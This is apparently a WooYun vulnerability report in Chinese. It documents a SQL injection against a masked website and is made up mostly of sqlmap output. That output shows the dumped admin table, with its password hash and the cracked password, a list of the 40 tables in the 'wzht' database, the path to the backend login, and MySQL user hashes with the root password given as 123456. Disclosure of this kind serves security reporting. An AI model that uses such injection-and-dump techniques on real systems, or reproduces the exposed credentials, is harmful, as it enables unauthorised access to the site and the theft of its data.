WooYun.org

列出wzht管理员用户及密码，如图所示：

如下所示：recognized possible password hashes in column 'PWD'. Do you want to crack them v
ia a dictionary-based attack? [y/N/q] n
Database: wzht
Table: admin
[1 entry]
+----------------------------------+-------+-----------------+
| PWD | User | AdminName |
+----------------------------------+-------+-----------------+
| 8FB4338242D1CCEBE6E25064DCACEA9B | admin | ???\xc2???????? |
+----------------------------------+-------+-----------------+
[22:41:00] [INFO] table 'wzht.admin' dumped to CSV file 'd:\sqlmap\Bin\output\ww
**.**.**.**\dump\wzht\admin.csv'
[22:41:00] [INFO] fetched data logged to text files under 'd:\sqlmap\Bin\output\
ww**.**.**.**'
[*] shutting down at 22:41:00
pwd=d91034
wzht下面的表，如下所示：
Database: wzht
[40 tables]
+-----------+
| admin |
| answer |
| config |
| czqx |
| dc |
| dcip |
| dcxx |
| exame |
| fengge |
| guanggao |
| guestbook |
| jianjie |
| jsqx |
| jsym |
| liuyanban |
| lm |
| lockip |
| mk |
| nygqxx |
| nyhy |
| options |
| pic |
| question |
| rz |
| shipin |
| tj |
| user |
| wsjb |
| wsly_yltd |
| xfhf |
| xflx |
| xtjs |
| xtyh |
| xw |
| yaocai |
| yhjs |
| ymb |
| yqlj |
| zygqxx |
| zyhy |
+-----------+
[22:42:05] [INFO] fetched data logged to text files under 'd:\sqlmap\Bin\output\
ww**.**.**.**'
[*] shutting down at 22:42:05
访问：http://**.**.**.**/wzht/loginAction.do，网站后台管理信息系统，如图所示：

查看mysql库中的用户名及密码，如图所示：

Database: mysql
Table: user
[3 entries]
+-----------+-------+-------------------------------------------+
| Host | User | Password |
+-----------+-------+-------------------------------------------+
| % | root | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 |
| localhost | btmon | *18E5874F16E1E5EA18526DD865F9FFC7559E8591 |
| localhost | root | *18E5874F16E1E5EA18526DD865F9FFC7559E8591 |
+-----------+-------+-------------------------------------------+
[22:57:45] [INFO] table 'mysql.user' dumped to CSV file 'd:\sqlmap\Bin\output\
**.**.**.**\dump\mysql\user.csv'
[22:57:45] [INFO] fetched data logged to text files under 'd:\sqlmap\Bin\outpu
ww**.**.**.**'
[*] shutting down at 22:57:45
root密码123456